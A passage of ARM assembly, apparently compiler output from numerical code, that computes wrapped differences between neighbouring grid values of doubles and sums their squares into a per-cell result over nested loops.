bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
sub r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
str r3, [fp, #-72]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #4
sub r3, r2, r3
add r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r2, [fp, #-124]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
add r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
lsl r3, r3, #1
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-124]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #108
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #100
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #92
ldmia r3, {r2-r3}
sub r1, fp, #92
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #84
ldmia r3, {r2-r3}
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #76
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-144]
str r2, [r1, #16]
str r3, [r1, #20]
.L139:
ldr r2, [fp, #-160]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-144]
add r3, r3, r2
str r3, [fp, #-144]
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L138:
ldr r3, [fp, #-164]
sub r3, r3, #1
ldr r2, [fp, #-132]
cmp r2, r3
blt .L140
ldr r2, [fp, #-160]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #5
mov r2, r3
ldr r3, [fp, #-144]
add r3, r3, r2
str r3, [fp, #-144]
ldr r3, [fp, #-160]
lsl r3, r3, #4
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-136]
add r3, r3, #1
str r3, [fp, #-136]
.L137:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-136]
cmp r2, r3
blt .L141
.L131:
ldr r3, [fp, #8]
ldr r3, [r3, #12]
cmp r3, #1
bne .L142
ldr r3, [fp, #-124]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-124]
add r2, r3, #1
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-156]
add r3, r3, r2
str r3, [fp, #-144]
mov r3, #1
str r3, [fp, #-136]
b .L143
.L147:
mov r3, #1
str r3, [fp, #-128]
b .L144
.L146:
ldr r3, [fp, #-144]
ldrb r3, [r3, #25] @ zero_extendqisi2
cmp r3, #0
bne .L145
ldr r3, [fp, #-140]
sub r3, r3, #8
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-100]
str r3, [fp, #-96]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-92]
str r3, [fp, #-88]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
ldr r2, [fp, #-160]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
str r3, [fp, #-72]
ldr r3, [fp, #-160]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r3, [fp, #-160]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, [fp, #-124]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-124]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r2, r3, #1
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r2, r3, #1
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r2, r3, #1
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #108
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #100
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #92
ldmia r3, {r2-r3}
sub r1, fp, #92
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #84
ldmia r3, {r2-r3}
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #76
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-144]
str r2, [r1, #16]
str r3, [r1, #20]
.L145:
ldr r3, [fp, #-144]
add r3, r3, #48
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #8
str r3, [fp, #-140]
ldr r3, [fp, #-128]
add r3, r3, #1
str r3, [fp, #-128]
.L144:
ldr r3, [fp, #-160]
sub r3, r3, #1
ldr r2, [fp, #-128]
cmp r2, r3
blt .L146
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
mov r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
add r3, r3, #96
ldr r2, [fp, #-144]
add r3, r2, r3
str r3, [fp, #-144]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-136]
add r3, r3, #1
str r3, [fp, #-136]
.L143:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-136]
cmp r2, r3
blt .L147
ldr r3, [fp, #-124]
lsl r2, r3, #1
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-140]
ldr r2, [fp, #-124]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #5
mov r1, r3
ldr r2, [fp, #-160]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
sub r3, r1, r3
add r3, r3, #48
ldr r2, [fp, #-156]
add r3, r2, r3
str r3, [fp, #-144]
mov r3, #1
str r3, [fp, #-136]
b .L148
.L152:
mov r3, #1
str r3, [fp, #-128]
b .L149
.L151:
ldr r3, [fp, #-144]
ldrb r3, [r3, #25] @ zero_extendqisi2
cmp r3, #0
bne .L150
ldr r3, [fp, #-140]
add r3, r3, #8
